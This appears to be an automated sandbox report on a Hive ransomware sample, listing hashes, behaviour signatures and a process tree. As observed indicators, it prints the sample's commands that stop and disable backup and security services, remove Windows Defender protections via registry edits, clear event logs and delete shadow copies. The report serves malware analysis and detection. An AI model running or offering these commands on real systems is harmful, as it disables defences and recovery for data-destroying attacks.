Resubmissions
23-12-2022 20:19
221223-y39gvahb28 1023-12-2022 19:54
221223-ymz88scc8w 1023-12-2022 19:42
221223-yerbcsha78 10Analysis
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max time kernel
1694s -
max time network
1682s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
23-12-2022 20:19
Behavioral task
behavioral1
Sample
211xahcou.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
hive.exe
Resource
win7-20220812-en
Behavioral task
behavioral3
Sample
sjl8j6ap3.exe
Resource
win7-20220901-en
Behavioral task
behavioral4
Sample
windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Resource
win7-20220812-en
General
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Target
zi1ysv64h.exe
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Size
3.3MB
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MD5
5384c6825a5707241c11d78529dbbfee
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SHA1
85f5587e8ad534c2e5de0e72450b61ebda93e4fd
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SHA256
3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21
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SHA512
856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f
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SSDEEP
49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno
Malware Config
Extracted
C:\K8zJ_HOW_TO_DECRYPT.txt
hive
Signatures
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Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
pid Process 792 MpCmdRun.exe -
Hive
A ransomware written in Golang first seen in June 2021.
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description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe -
Clears Windows event logs 1 TTPs 3 IoCs
pid Process 920 wevtutil.exe 1144 wevtutil.exe 108 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1192 bcdedit.exe 948 bcdedit.exe -
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\DisconnectRevoke.crw => C:\Users\Admin\Pictures\DisconnectRevoke.crw.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_TqdkJVH2pMc0.2o4xo zi1ysv64h.exe File opened for modification C:\Users\Admin\Pictures\DisconnectRevoke.crw.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_TqdkJVH2pMc0.2o4xo zi1ysv64h.exe File renamed C:\Users\Admin\Pictures\DismountLock.png => C:\Users\Admin\Pictures\DismountLock.png.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_MFN9caHyP_w0.2o4xo zi1ysv64h.exe File opened for modification C:\Users\Admin\Pictures\DismountLock.png.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_MFN9caHyP_w0.2o4xo zi1ysv64h.exe File renamed C:\Users\Admin\Pictures\RenameSend.png => C:\Users\Admin\Pictures\RenameSend.png.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_EP6LmGOUQ0w0.2o4xo zi1ysv64h.exe File opened for modification C:\Users\Admin\Pictures\RenameSend.png.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_EP6LmGOUQ0w0.2o4xo zi1ysv64h.exe File renamed C:\Users\Admin\Pictures\LockTrace.tif => C:\Users\Admin\Pictures\LockTrace.tif.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_64C6BzCeTgM0.2o4xo zi1ysv64h.exe File opened for modification C:\Users\Admin\Pictures\LockTrace.tif.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_64C6BzCeTgM0.2o4xo zi1ysv64h.exe -
Deletes itself 1 IoCs
pid Process 2024 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Windows Sidebar\de-DE\Sidebar.exe.mui zi1ysv64h.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\es-ES\gadget.xml zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00656_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_yjDmZhIxi3U0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\144DPI\(144DPI)grayStateIcon.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\ink\es-ES\TipRes.dll.mui zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PROTTPLN.XLS.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_kFg-Eh2s5XY0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME11.CSS.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_vvdn_iZue0E0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CONTACTINFOBB.POC.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_0pd-NvbuBAw0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\Contacts.accdt.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_9CYMKS7t04E0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qyzylorda.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_NraseKa5LeE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_hKzvzv2HS4Y0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\delete_over.png zi1ysv64h.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_NzFSmB8r9Sg0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\20.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0157831.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_W2HP7NyadN00.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_mJLG0MfJi-k0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\1033\MSOINTL.REST.IDX_DLL.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_JrZOaO_RbNw0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS01634_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_4QT5pRExd8w0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105384.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_EPHgWPoxi_g0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0285782.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_S0uVhPWOrbw0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\main\base_altgr.xml zi1ysv64h.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_RGB_PAL.wmv zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Thule.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_WD5pSf4BW_E0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02270_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_PdDQb_s2Yoo0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Media Player\Skins\Revert.wmz zi1ysv64h.exe File created C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\LISTS\1033\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\combo-hover-right.png zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\jmxremote.access.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_WCHKBtBBb9I0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.concurrent_1.1.0.v20130327-1442.jar.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_tO4_gGxfngc0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BOLDSTRI\BOLDSTRI.ELM.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_lXj832Zsn8A0.2o4xo zi1ysv64h.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Mozilla Firefox\xul.dll.sig.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_bw5GRpD3Ioc0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00681_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_8EJRs16cJ_c0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Microsoft.BusinessData.xml.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_DbWV-TEVj040.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_coe5-Fbn0XA0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\1033\OLTASKR.FAE.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_ucylHL-1NZE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Media Player\en-US\wmpnssci.dll.mui zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01434_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_lLuzP1Z42oY0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\ViewHeaderPreview.jpg.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_wApltGy_Yac0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipsrom.xml zi1ysv64h.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS01637_.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_tNGaI4BhiiY0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0185796.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_zVSa6JnK8T80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\Invite or Link.one.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_YUKte7gIMT80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PROGRAM.XML.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_iPy0rB2y3dQ0.2o4xo zi1ysv64h.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_YnTmmKmw1iE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\30.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\DigSig.api.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_vUSSy5xUFKI0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Matamoros.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_AUCoPRre4FE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0250504.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_bPkm0YOSORw0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR47F.GIF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_IHXtXl8Ao0s0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGCHKBRD.XML.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_LuhdAKffZKs0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\TextFile.zip.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_GGBHg4JjrU40.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\en-US\Sidebar.exe.mui zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\GRPHFLT\EPSIMP32.FLT.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_9FXDeNfoEL80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\pkeyconfig-office.xrm-ms.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_6BQ5dVF4fUQ0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Solutions_Doc.css.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_-JGZi-B1_7o0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239967.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_dP-_AFK5oP00.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0149407.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_LXedXyIPPf40.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0293238.WMF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_oVkJwOxzE3g0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115868.GIF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_2xodoYtbH6U0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\STS2\HEADER.GIF.8PRXypagTUq2lpXdNFGrjIPjcSmRXHhOL1zOYZiOean_QOJf9zBlDR80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\curl.png zi1ysv64h.exe -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1824 sc.exe 1896 sc.exe 1772 sc.exe 1908 sc.exe 1548 sc.exe 560 sc.exe 1028 sc.exe 1688 sc.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1368 vssadmin.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1104 notepad.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 364 PING.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1452 powershell.exe 1676 powershell.exe 1556 zi1ysv64h.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 108 wevtutil.exe Token: SeBackupPrivilege 108 wevtutil.exe Token: SeSecurityPrivilege 920 wevtutil.exe Token: SeBackupPrivilege 920 wevtutil.exe Token: SeSecurityPrivilege 1144 wevtutil.exe Token: SeBackupPrivilege 1144 wevtutil.exe Token: SeIncreaseQuotaPrivilege 1960 wmic.exe Token: SeSecurityPrivilege 1960 wmic.exe Token: SeTakeOwnershipPrivilege 1960 wmic.exe Token: SeLoadDriverPrivilege 1960 wmic.exe Token: SeSystemProfilePrivilege 1960 wmic.exe Token: SeSystemtimePrivilege 1960 wmic.exe Token: SeProfSingleProcessPrivilege 1960 wmic.exe Token: SeIncBasePriorityPrivilege 1960 wmic.exe Token: SeCreatePagefilePrivilege 1960 wmic.exe Token: SeBackupPrivilege 1960 wmic.exe Token: SeRestorePrivilege 1960 wmic.exe Token: SeShutdownPrivilege 1960 wmic.exe Token: SeDebugPrivilege 1960 wmic.exe Token: SeSystemEnvironmentPrivilege 1960 wmic.exe Token: SeRemoteShutdownPrivilege 1960 wmic.exe Token: SeUndockPrivilege 1960 wmic.exe Token: SeManageVolumePrivilege 1960 wmic.exe Token: 33 1960 wmic.exe Token: 34 1960 wmic.exe Token: 35 1960 wmic.exe Token: SeIncreaseQuotaPrivilege 944 wmic.exe Token: SeSecurityPrivilege 944 wmic.exe Token: SeTakeOwnershipPrivilege 944 wmic.exe Token: SeLoadDriverPrivilege 944 wmic.exe Token: SeSystemProfilePrivilege 944 wmic.exe Token: SeSystemtimePrivilege 944 wmic.exe Token: SeProfSingleProcessPrivilege 944 wmic.exe Token: SeIncBasePriorityPrivilege 944 wmic.exe Token: SeCreatePagefilePrivilege 944 wmic.exe Token: SeBackupPrivilege 944 wmic.exe Token: SeRestorePrivilege 944 wmic.exe Token: SeShutdownPrivilege 944 wmic.exe Token: SeDebugPrivilege 944 wmic.exe Token: SeSystemEnvironmentPrivilege 944 wmic.exe Token: SeRemoteShutdownPrivilege 944 wmic.exe Token: SeUndockPrivilege 944 wmic.exe Token: SeManageVolumePrivilege 944 wmic.exe Token: 33 944 wmic.exe Token: 34 944 wmic.exe Token: 35 944 wmic.exe Token: SeIncreaseQuotaPrivilege 944 wmic.exe Token: SeSecurityPrivilege 944 wmic.exe Token: SeTakeOwnershipPrivilege 944 wmic.exe Token: SeLoadDriverPrivilege 944 wmic.exe Token: SeSystemProfilePrivilege 944 wmic.exe Token: SeSystemtimePrivilege 944 wmic.exe Token: SeProfSingleProcessPrivilege 944 wmic.exe Token: SeIncBasePriorityPrivilege 944 wmic.exe Token: SeCreatePagefilePrivilege 944 wmic.exe Token: SeBackupPrivilege 944 wmic.exe Token: SeRestorePrivilege 944 wmic.exe Token: SeShutdownPrivilege 944 wmic.exe Token: SeDebugPrivilege 944 wmic.exe Token: SeSystemEnvironmentPrivilege 944 wmic.exe Token: SeRemoteShutdownPrivilege 944 wmic.exe Token: SeUndockPrivilege 944 wmic.exe Token: SeManageVolumePrivilege 944 wmic.exe Token: 33 944 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1556 wrote to memory of 1720 1556 zi1ysv64h.exe 28 PID 1556 wrote to memory of 1720 1556 zi1ysv64h.exe 28 PID 1556 wrote to memory of 1720 1556 zi1ysv64h.exe 28 PID 1720 wrote to memory of 1348 1720 net.exe 30 PID 1720 wrote to memory of 1348 1720 net.exe 30 PID 1720 wrote to memory of 1348 1720 net.exe 30 PID 1556 wrote to memory of 1744 1556 zi1ysv64h.exe 31 PID 1556 wrote to memory of 1744 1556 zi1ysv64h.exe 31 PID 1556 wrote to memory of 1744 1556 zi1ysv64h.exe 31 PID 1744 wrote to memory of 896 1744 net.exe 33 PID 1744 wrote to memory of 896 1744 net.exe 33 PID 1744 wrote to memory of 896 1744 net.exe 33 PID 1556 wrote to memory of 600 1556 zi1ysv64h.exe 34 PID 1556 wrote to memory of 600 1556 zi1ysv64h.exe 34 PID 1556 wrote to memory of 600 1556 zi1ysv64h.exe 34 PID 600 wrote to memory of 936 600 net.exe 36 PID 600 wrote to memory of 936 600 net.exe 36 PID 600 wrote to memory of 936 600 net.exe 36 PID 1556 wrote to memory of 672 1556 zi1ysv64h.exe 37 PID 1556 wrote to memory of 672 1556 zi1ysv64h.exe 37 PID 1556 wrote to memory of 672 1556 zi1ysv64h.exe 37 PID 672 wrote to memory of 568 672 net.exe 39 PID 672 wrote to memory of 568 672 net.exe 39 PID 672 wrote to memory of 568 672 net.exe 39 PID 1556 wrote to memory of 1404 1556 zi1ysv64h.exe 40 PID 1556 wrote to memory of 1404 1556 zi1ysv64h.exe 40 PID 1556 wrote to memory of 1404 1556 zi1ysv64h.exe 40 PID 1404 wrote to memory of 556 1404 net.exe 42 PID 1404 wrote to memory of 556 1404 net.exe 42 PID 1404 wrote to memory of 556 1404 net.exe 42 PID 1556 wrote to memory of 524 1556 zi1ysv64h.exe 43 PID 1556 wrote to memory of 524 1556 zi1ysv64h.exe 43 PID 1556 wrote to memory of 524 1556 zi1ysv64h.exe 43 PID 524 wrote to memory of 1528 524 net.exe 45 PID 524 wrote to memory of 1528 524 net.exe 45 PID 524 wrote to memory of 1528 524 net.exe 45 PID 1556 wrote to memory of 968 1556 zi1ysv64h.exe 46 PID 1556 wrote to memory of 968 1556 zi1ysv64h.exe 46 PID 1556 wrote to memory of 968 1556 zi1ysv64h.exe 46 PID 968 wrote to memory of 1620 968 net.exe 48 PID 968 wrote to memory of 1620 968 net.exe 48 PID 968 wrote to memory of 1620 968 net.exe 48 PID 1556 wrote to memory of 1928 1556 zi1ysv64h.exe 49 PID 1556 wrote to memory of 1928 1556 zi1ysv64h.exe 49 PID 1556 wrote to memory of 1928 1556 zi1ysv64h.exe 49 PID 1928 wrote to memory of 364 1928 net.exe 51 PID 1928 wrote to memory of 364 1928 net.exe 51 PID 1928 wrote to memory of 364 1928 net.exe 51 PID 1556 wrote to memory of 1896 1556 zi1ysv64h.exe 52 PID 1556 wrote to memory of 1896 1556 zi1ysv64h.exe 52 PID 1556 wrote to memory of 1896 1556 zi1ysv64h.exe 52 PID 1556 wrote to memory of 1772 1556 zi1ysv64h.exe 54 PID 1556 wrote to memory of 1772 1556 zi1ysv64h.exe 54 PID 1556 wrote to memory of 1772 1556 zi1ysv64h.exe 54 PID 1556 wrote to memory of 1908 1556 zi1ysv64h.exe 56 PID 1556 wrote to memory of 1908 1556 zi1ysv64h.exe 56 PID 1556 wrote to memory of 1908 1556 zi1ysv64h.exe 56 PID 1556 wrote to memory of 1548 1556 zi1ysv64h.exe 58 PID 1556 wrote to memory of 1548 1556 zi1ysv64h.exe 58 PID 1556 wrote to memory of 1548 1556 zi1ysv64h.exe 58 PID 1556 wrote to memory of 560 1556 zi1ysv64h.exe 60 PID 1556 wrote to memory of 560 1556 zi1ysv64h.exe 60 PID 1556 wrote to memory of 560 1556 zi1ysv64h.exe 60 PID 1556 wrote to memory of 1028 1556 zi1ysv64h.exe 62
Processes
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C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\system32\net.exenet.exe stop "NetMsmqActivator" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "NetMsmqActivator" /y3⤵PID:1348
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C:\Windows\system32\net.exenet.exe stop "SamSs" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SamSs" /y3⤵PID:896
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C:\Windows\system32\net.exenet.exe stop "SDRSVC" /y2⤵
- Suspicious use of WriteProcessMemory
PID:600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y3⤵PID:936
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C:\Windows\system32\net.exenet.exe stop "SstpSvc" /y2⤵
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y3⤵PID:568
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C:\Windows\system32\net.exenet.exe stop "UI0Detect" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1404 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y3⤵PID:556
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C:\Windows\system32\net.exenet.exe stop "VSS" /y2⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VSS" /y3⤵PID:1528
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C:\Windows\system32\net.exenet.exe stop "wbengine" /y2⤵
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine" /y3⤵PID:1620
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C:\Windows\system32\net.exenet.exe stop "WebClient" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WebClient" /y3⤵PID:364
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C:\Windows\system32\sc.exesc.exe config "NetMsmqActivator" start= disabled2⤵
- Launches sc.exe
PID:1896
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C:\Windows\system32\sc.exesc.exe config "SamSs" start= disabled2⤵
- Launches sc.exe
PID:1772
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C:\Windows\system32\sc.exesc.exe config "SDRSVC" start= disabled2⤵
- Launches sc.exe
PID:1908
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C:\Windows\system32\sc.exesc.exe config "SstpSvc" start= disabled2⤵
- Launches sc.exe
PID:1548
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C:\Windows\system32\sc.exesc.exe config "UI0Detect" start= disabled2⤵
- Launches sc.exe
PID:560
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C:\Windows\system32\sc.exesc.exe config "VSS" start= disabled2⤵
- Launches sc.exe
PID:1028
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C:\Windows\system32\sc.exesc.exe config "wbengine" start= disabled2⤵
- Launches sc.exe
PID:1688
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C:\Windows\system32\sc.exesc.exe config "WebClient" start= disabled2⤵
- Launches sc.exe
PID:1824
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1948
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C:\Windows\system32\reg.exereg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f2⤵PID:2000
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:1356
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f2⤵PID:1708
